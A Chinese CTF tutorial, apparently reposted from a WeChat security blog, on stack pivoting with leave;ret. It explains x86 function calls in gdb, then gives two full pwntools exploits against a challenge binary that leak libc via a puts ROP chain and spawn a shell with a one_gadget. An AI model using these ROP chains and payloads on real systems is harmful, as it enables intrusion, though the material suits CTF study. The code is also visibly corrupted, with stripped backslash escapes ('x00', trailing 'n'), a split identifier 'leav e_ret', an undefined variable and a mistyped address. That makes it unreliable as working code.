前言
本篇文章记录了在学习PWN的栈迁移过程中遇到的两种栈迁移的手法,整体的实验环境都是基于X86的,调试系统是Ubuntu 16.04。
函数调用原理
这里的话栈溢出的原理自然就不用讲了,直接来先简单说一下什么是栈迁移的原理。首先栈迁移主要的目的是将我们的EBP/RBP和ESP/RSP迁移到一个我们指定的位置,比如常用的就是bss段。但是迁移的方法归根结底还是要利用leave ; ret
这条指令来实现,但是很多时候,光知道迁移过去,迁移过去的栈区开头4/8字节是EBP/RBP的内容,但是很多时候却对原理没有一个清晰的认知,自己调试又调不明白,所以这里先写一个简单的例子来实现一下Call func 、Leave 和 Ret这三条指令做一下调试,学习一下整个函数调用的基础:
函数调用:
源码:
#include <stdio.h>
void func()
{
printf("hello,world");
}
int main()
{
func();
return 0;
}
编译:
gcc -m32 1.c -o 1
调试:
gdb命令:
gdb -q 1
过程:
这里我们实现了一个最基本的函数调用,这里的话我们再画个图来表示一下栈中的情况,然后分别用main_ebp/main_esp和ebp/esp来表示main函数中的栈底/栈顶和func函数中的栈底/栈顶。这里在运行到main函数的开头的时候,大概栈的初始化应该是这样的结构:
这里直接b main
在main函数下个断点,然后就走到call func
这个指令前,这里就先不去走前面的push ebp ; mov esp , ebp; sub esp,4;
这个栈创建的过程了,到了func函数中的时候再走一下这个过程,看的比较清晰。
这时候该执行call func
指令,其实call指令相当于是 push eip+4
和mov eip,func_addr
两条指令。push eip+4
是将下一条指令入栈,用于保存现场。
mov eip,func_addr
是将eip寄存器的地址修改为func函数的地址,用于调用func函数。
这时候我们直接si进入func函数,但是我们先不走func函数的push ebp;这一系列的开创栈空间的过程,先看一下这时候执行完call func
的栈结构:
这里可以看到,我们的之前call func;
的下一条指令成功压入到了栈顶,原本main_esp
往上也增加了一个地址。
之后进入后就可以看到函数内部会执行开创栈空间的操作,主要调用push ebp
、mov ebp,esp
和sub esp,0xXX
这几条条指令来实现。
我们这里走完这个push ebp;
、mov esp,ebp;
、sub esp,0xXX;
这几条指令,直接看开创完的func的栈空间结构:
可以看到,从call func
的下一条指令地址往上刚好,开创出来了一个属于func函数所使用的栈空间,而大小为0x8 + 0xc = 0x14 大小。
根据栈空间的规则,都是高地址向低地址来进行排布的,所以ebp栈底的地址要比esp栈顶的地址大,因此在使用栈中的变量的时候,一般都是在汇编中以[esp+xxxx]或者[ebp-xxxx]这样的方式来进行访问的。
这里我们继续向下走,可以看到一条add esp , 0x10;
指令,我们停到它之前。
这条指令相当于将栈顶往低降了0x10大小,这是因为我们前面的指令使用完了栈空间的变量了,要回收资源,所以用了0x10大小就要回收0x10大小。
这也就是反映了之前我们大学学的C语言,为什么我们传一个变量当作func的参数进去,值不会发生改变一样,因为一般这种变量又被称作为“栈变量”,所以在当前栈中用完就回收了,所以并不会改变这个变量原本栈中值,所以不会改变。
此时的栈空间还是一样:
在执行完add esp,0x10;
以后可以看一下栈空间的情况:
可以发现,由于esp被增加了0x10大小后,相当于将栈顶降低了0x10大小,整个栈空间也就相当于是减少了0x10。
继续往下走,到leave ; ret
这条指令前我们停下来:
当前栈空间结构还是一样:
这里因为后面栈迁移主要依靠的就是leave和ret这两条指令,所以这里还是介绍一下leave和ret指令的作用吧。
leave
指令 = mov esp , ebp ;
和 pop ebp ;
这两条指令。mov esp , ebp ;
相当于是把栈顶的和栈底合并,这时候栈空间中,栈顶位置即使EBP也是ESP。pop ebp ;
相当于是将此时栈顶的地址出栈,将其值给到ebp寄存器。而这两条指令的执行,相当于是将栈空间进行了清空。
ret
指令 =pop eip;
这条指令是将当前栈顶的地址出栈,将其值给到eip寄存器。
继续执行,到ret结束,发现我们的Func函数的栈没了,esp和ebp变成了main函数的:
此时的栈空间:
下一步就将要执行ret指令,而ret指令相当于是pop eip;此时我们的栈顶只剩下了当时call func的下一条指令的地址,刚好执行后就是回到call 函数以前调用者函数。
栈结构就恢复到了调用以前:
总结:
通过调试了整个函数调用的过程,我们了解到了调用一个函数一定会调用的几个指令就是call 、push、 mov sub、add和leave ret。
其中call作为调用指令,会把call func指令的下一条指令的地址(返回地址)先入栈
之后就是调用push、mov和sub指令进行函数栈的开创
在使用完毕其中的栈变量后会调用add指令将栈降低,目的是将其资源进行回收
栈中资源清空后,就是调用leave指令将整个栈进行还原,先调用mov esp,ebp指令将栈顶和栈底指向同一个位置,然后调用pop ebp指令将其弹出到ebp寄存器中。
最后调用ret指令,将返回地址给到eip寄存器,实现下一步要执行的是返回地址。
调用结束,回到了main函数中:
其中几个指令等同于:
call =>
push eip+4 ;
mov eip , func_addr ;
leave =>
mov esp,ebp ;
pop ebp;
ret =>
pop eip;
在了解了整个函数的调用流程后,就可以开始栈迁移了。
栈迁移原理:
首先栈迁移听名字就是将栈搬到我们想要他在的地方,说的直白一点就是将esp和ebp修改为我们想要区段的地址。
为什么需要用到栈迁移?
一个最典型的情况就是我们栈溢出的长度不够了,而且当前栈区很小,没有办法在当前的函数栈内实现对Payload的写入,进而无法完成利用。
所以我们需要将栈搬到一个足够大的地方,然后写入我们的Payload,进而完成栈溢出的利用。
最后就是如何实现栈迁移?
所谓的栈迁移,说的白话一点,就是将程序的ebp和esp这个栈底和栈顶寄存器的值进行修改。
通过刚才函数调用的学习,我们可以知道leave ; ret
这两条指令可以实现对ebp
的值进行修改,通过执行两遍leave ; ret遍可以实现对栈的迁移。
在执行一遍以后,可以实现将我们的ebp
的值也可以修改为指定的栈底,这时候如果再执行一遍,则可以将我们的esp
也修改,因为pop ebp的缘故,所以一般esp
修改后的值是ebp+8(32位的是+4)
的位置。
如此就实现了栈的迁移。
例题:
文件结构:
保护分析:
发现开启了nx,并未开启其他。
逻辑分析:
这里可以看到,这个程序实现了两个read:
第一次read可以向name这个变量写入0x100的数据,其中name变量指向bss段的0x601080位置。
第二次read可以向buf这个栈变量写入0x30大小的数据,而且可以看到buf变量的大小只有0x20大小。
分析之后,可以知道buf这个栈变量只能溢出0x10大小的数据,相当于刚好可以溢出到rbp和返回地址(rip+4)的值,并且整个程序并没有任何的back_door函数
来供我们执行system("/bin/sh")
,而且也不存在修改bss区段权限的情况,所以无法在bss段执行代码。
这时候,其实我们所能做的事情其实只有:
1 可以在bss段写入0x100大小的任意数据
2 可以向buf变量中输入0x30大小的任意数据
3 溢出只能控制到rbp和返回地址
可以去想根据这些怎么才能实现payload的执行呢??
思路:
假设我们将当前的栈区搬到我们自定义的栈区,比如bss段,那么这个时候,这部分的bss段相当于有了可以执行代码的权限,这时候我们就可以通过对bss段的任意写入,来部署攻击Payload,最后再利用栈溢出将返回地址改成写入Payload的位置,进而实现对Pyload的执行。
思路1实现:
实现1(使用leave;ret指令):
1. 利用read1的可以写入任意数据到bss段,先部署一下攻击的payload,这里的话在name+0xc8的位置部署一个泄漏puts函数的ROP,ROP最后执行完毕将直接返回main函数,来进行二次的溢出利用,这里返回main函数的时候最好是跳过push ebp
这个指令,直接从mov esp,ebp
这条指令开始。
leave_ret = elf.search(asm("leave ; ret")).next()
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
pop_rbp_ret = elf.search(asm("pop rbp ; ret")).next()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']+1
log.success("%x",libc.address)
rop = p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(main)
ru('Give me your name:n')
s("x00"*0xc8+p(0xbeeddeef)+rop)
成功写入
2. 接着利用read2的栈溢出,将rbp修改为name+0xc8的位置,然后调用leave ; ret指令实现栈迁移,修改ebp和esp,修改ebp到name+0xc8+8的位置后,执行ret即可实现对泄漏puts函数的ROP的执行。
payload = 'a'*0x20+p(0x601080+0xc8)+p(leave_ret)
ru("Input your content.n")
s(payload)
这里发现rbp
成功被修改,接下来要执行两次leave ret
实现对栈的迁移,因为程序在结束的时候会执行一次leave;ret
指令,这里我们将返回地址修改为了leave;ret
指令,就实现执行两次leave;ret
指令了。
在执行了两次leave
后,栈已成功被迁移,我们在第二次leave完毕后停下来,不执行ret,看一下此时的栈,发现rsp已经成功被修改为ebp+8,我们搬移的rbp为0x601148,所以此时rbp为0x601150。
3. 这里执行ret后可以看到成功执行了我们写入的ROP
4. 在执行完毕后,将泄漏出puts的got真实地址,这里为了不影响后续的执行,libc就先用自身的/lib/x86_64-linux-gnu/libc.so.6
这里写一个接收泄漏地址的代码,然后再计算一下libc的基地址:
puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success("libc:%x",libc_base)
发现可以成功拿到了libc的基地址:
结束后就回到了main函数:
5. 然后同样的手法构造one_gadget写入bss段直接进行getshell即可,但是这里需要注意,因为本身就已经在bss段了,所以需要注意一下其他的函数会不会影响栈,一旦影响栈内数据,相当于会影响该bss段中我们写入的数据。这里我们直接往name+10的位置one_gadget写即可。
onegadget_table = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base+one_gadget[1]
rop1 = p(one_gadget)
ru('Give me your name:n')
s('x00'*0x10+p(0xbeedbeef)+rop1)
可以发现成功写入:
6 同2,这里将rbp修改为我们构造的one_gadget处,直接再次构造栈迁移手法去执行即可。
payload1 = 'x00'*0x20+p(0x601080+0x10)+p(leav e_ret)
ru("Input your content.n")
sl(payload1)
发现可以成功执行one_gadget拿到shell:
完整exp:
# -*- encoding: utf-8 -*-
import sys
from pwn import *
from LibcSearcher import LibcSearcher
# context.terminal = ['tmux','new-window']
check_arg = lambda arg: arg in sys.argv
AMD64 = 'amd64'
I386 = 'i386'
ARCH = AMD64
ELF_PATH = './pwn2'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
ASLR = check_arg('aslr')
DEBUG = check_arg('debug')
TCACHE = check_arg('tcache')
REMOTE = check_arg('remote')
CHECKSEC = False
REMOTE_ADDR = 'nc node4.buuoj.cn 26377'.split(' ')[1:]
IP = '' if not REMOTE_ADDR else REMOTE_ADDR[0]
PORT = 0 if not REMOTE_ADDR else REMOTE_ADDR[1]
context.arch = ARCH
context.aslr = ASLR
context.log_level = 'DEBUG' if DEBUG else 'INFO'
elf = ELF(ELF_PATH, checksec=CHECKSEC)
libc = ELF(LIBC_PATH, checksec=CHECKSEC) if LIBC_PATH else elf.libc
create_io = lambda: process(ELF_PATH) if not REMOTE else remote(IP, PORT)
io = create_io()
s = lambda buf: io.send(buf)
ss = lambda buf: io.send(str(buf))
sl = lambda buf: io.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: io.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: io.sendlineafter(delim, buf)
ssla = lambda delim, buf: sla(delim, str(buf))
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim, drop=False: io.recvuntil(delim, drop)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
p = lambda data: p64(data) if ARCH==AMD64 else p32(data)
u = lambda data: u64(data) if ARCH==AMD64 else u32(data)
bk = lambda addr=None: attach(io, 'b* 0x%x'%addr) if addr else attach(io)
cdelim = ''
c = lambda i: sla(cdelim, str(i))
bk()
elf.address = 0x555555554000 if elf.pie and not ASLR else elf.address
leave_ret = elf.search(asm("leave ; ret")).next()
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
pop_rbp_ret = elf.search(asm("pop rbp ; ret")).next()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']+1
log.success("%x",libc.address)
rop = p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(main)
log.success("fake ebp:0x%x",0x601080+0xc8)
raw_input("#")
ru('Give me your name:n')
s("x00"*0xc8+p(0xbeeddeef)+rop)
payload = 'a'*0x20+p(0x601080+0xc8)+p(leave_ret)
raw_input("#")
ru("Input your content.n")
s(payload)
puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success("libc:%x",libc_base)
og = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base+og[1]
rop1 = p(one_gadget)
# ru('Give me your name:n')
raw_input("#")
s('x00'*0x10+p(0xbeedbeef)+rop1)
payload1 = 'x00'*0x20+p(0x601080+0x10)+p(leave_ret)
raw_input("#")
ru("Input your content.n")
sl(payload1)
io.interactive()
思路2:
实现1已经基本上将栈迁移的核心已经实现完毕了,但是实现1主要依靠了read1的提前部署ROP,来实现了ROP的执行,那么这里再介绍一种,就是仅仅只用一个read2即可实现栈迁移的利用与写入,并且Payload中不构造leave ; ret
指令,仅使用程序自带的指令来实现栈的迁移。
实现2(不使用leave;ret指令):
-
这里的栈迁移的操作,主要是多次利用read2的栈溢出能够修改rbp来实现栈迁移,包括rop的写入和执行也是利用了read2函数。第一次read2我们先将rbp修改为 name+0xc8 = 0x601148
,为了和实现1的rbp统一吧,然后再回到read2。
bss = 0x601080
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read1 = 0x400665
read2 = 0x400683
payload = 'a'*0x20+p(bss+0xc8)+p(read2)
ru('Give me your name:n')
s('k')
ru('Input your content.n')
s(payload)
到了main函数结束时,这里主要利用main函数自己的leave ; ret
指令,来实现对ebp和esp的修改。可以看到这次rbp
成功被修改为了0x601148
,并且下一步将要执行我们修改的read2:
-
回到read2,继续构造payload,但是这回要将 ebp
设置成name+0xc8+0x20 = 0x601168
,然后继续回到read2:
payload1 = 'a'*0x20+p(bss+0xc8+0x20)+p(read2)
s(payload1)
继续走到leave;ret
指令处,可以看到利用main
函数自带的leave
指令,我们成功将rsp
修改为了name + 0xc8 + 0x20 = 0x601168
。
到此我们就成功的完成了栈迁移,但是目前还缺少ROP的写入和执行,这里也是最关键的一步。
-
构造ROP写入到 buf
变量,执行ROP。
rop = 'a'*8+p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(read2)
s(rop)
这里为什么要这么构造ROP呢?
这里可以看下buf变量的写入位置主要在rbp-0x20的位置,因为栈迁移的原因,rbp已经被我们修改为name + 0xc8 + 0x20 = 0x601168
,所以这里buf的写入地址就变成了0x601168 - 0x20 = 0x601148
。
rop的写入地址有了,而rop的执行点其实主要在read函数的内部,可以看到read函数内部主要使用了系统调用的方式进行函数的执行,在syscall指令后面可以看到有个ret指令,可以知道ret指令等同于是pop rip,只要我们这里控制了rsp栈顶为我们的rop地址,那么通过ret指令即可实现rop的执行。
那么问题来了,要如何才能修改rsp的值呢?
这里我们知道写入的地址为0x601048
,而这里rsp = name+0xc8+8 = 0x601150
,可以算出差8个字节即可写到rsp,所以可以构造rop = 'a'*8+p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(read2)
,然后即可通过read函数里面的ret指令来实现rop的执行了。
构造的rop:
可以看到rsp被修改为rop地址:
接下来就是调用ret指令来实现对rop的执行了,获取puts函数的got真实地址,可以看到成功泄漏。
rop执行完毕后,返回到了read2,准备下一次的利用:
-
这里写一个接收puts函数的got真实地址,并且计算libc基地址
puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base=puts_addr-libc.symbols['puts']
log.success("libc_base:%x",libc_base)
可以发现成功算出来了libc基地址:
-
利用libc基地址来构造one_gadget,同样用read2来写入one_gadget,并且利用read函数本身的ret指令来实现对one_gadget的执行
ogs=[0x45226,0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[1]
rop = 'a'*0x20+p(og)
sl(rop)
这里rop的构造的原理其实是一样的,刚才上一次泄漏rop的执行,并未修改rbp的值,仅仅只是修改了rsp的值,所以这里写入点依然是0x601148,而rsp栈顶因为刚才rop的构造,被抬高了0x20大小,所以这里需要将'a'*8修改为'a'*0x20,最后构造rop = 'a'*0x20+p(og)
可以发现成功获取到了shell
完整exp:
# -*- encoding: utf-8 -*-
import sys
from pwn import *
from LibcSearcher import LibcSearcher
# context.terminal = ['tmux','new-window']
check_arg = lambda arg: arg in sys.argv
AMD64 = 'amd64'
I386 = 'i386'
ARCH = AMD64
ELF_PATH = './pwn2'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
ASLR = check_arg('aslr')
DEBUG = check_arg('debug')
TCACHE = check_arg('tcache')
REMOTE = check_arg('remote')
CHECKSEC = False
REMOTE_ADDR = ''.split(' ')[1:]
IP = '' if not REMOTE_ADDR else REMOTE_ADDR[0]
PORT = 0 if not REMOTE_ADDR else REMOTE_ADDR[1]
context.arch = ARCH
context.aslr = ASLR
context.log_level = 'DEBUG' if DEBUG else 'INFO'
elf = ELF(ELF_PATH, checksec=CHECKSEC)
libc = ELF(LIBC_PATH, checksec=CHECKSEC) if LIBC_PATH else elf.libc
create_io = lambda: process(ELF_PATH) if not REMOTE else remote(IP, PORT)
io = create_io()
s = lambda buf: io.send(buf)
ss = lambda buf: io.send(str(buf))
sl = lambda buf: io.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: io.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: io.sendlineafter(delim, buf)
ssla = lambda delim, buf: sla(delim, str(buf))
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim, drop=False: io.recvuntil(delim, drop)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
p = lambda data: p64(data) if ARCH==AMD64 else p32(data)
u = lambda data: u64(data) if ARCH==AMD64 else u32(data)
bk = lambda addr=None: attach(io, 'b* 0x%x'%addr) if addr else attach(io)
cdelim = ''
c = lambda i: sla(cdelim, str(i))
elf.address = 0x555555554000 if elf.pie and not ASLR else elf.address
bk()
bss = 0x601080
pop_rdi_ret = elf.search(asm("pop rdi ; ret")).next()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read1 = 0x400665
read2 = 0x400683
payload = 'a'*0x20+p(bss+0xc8)+p(read2)
ru('Give me your name:n')
s('k')
ru('Input your content.n')
s(payload)
raw_input("#")
payload1 = 'a'*0x20+p(bss+0xc8+0x20)+p(read2)
s(payload1)
raw_input("#")
rop = 'a'*8+p(pop_rdi_ret)+p(puts_got)+p(puts_plt)+p(read2)
s(rop)
puts_addr = u(rl()[:6].ljust(8,'x00'))
libc_base=puts_addr-libc.symbols['puts']
log.success("libc_base:%x",libc_base)
ogs=[0x45226,0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[1]
rop = 'a'*0x20+p(og)
sl(rop)
io.interactive()
One_Gadget的获取方法:
原文始发于微信公众号(弱口令安全实验室):PWN-栈迁移的多种迁移姿势
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论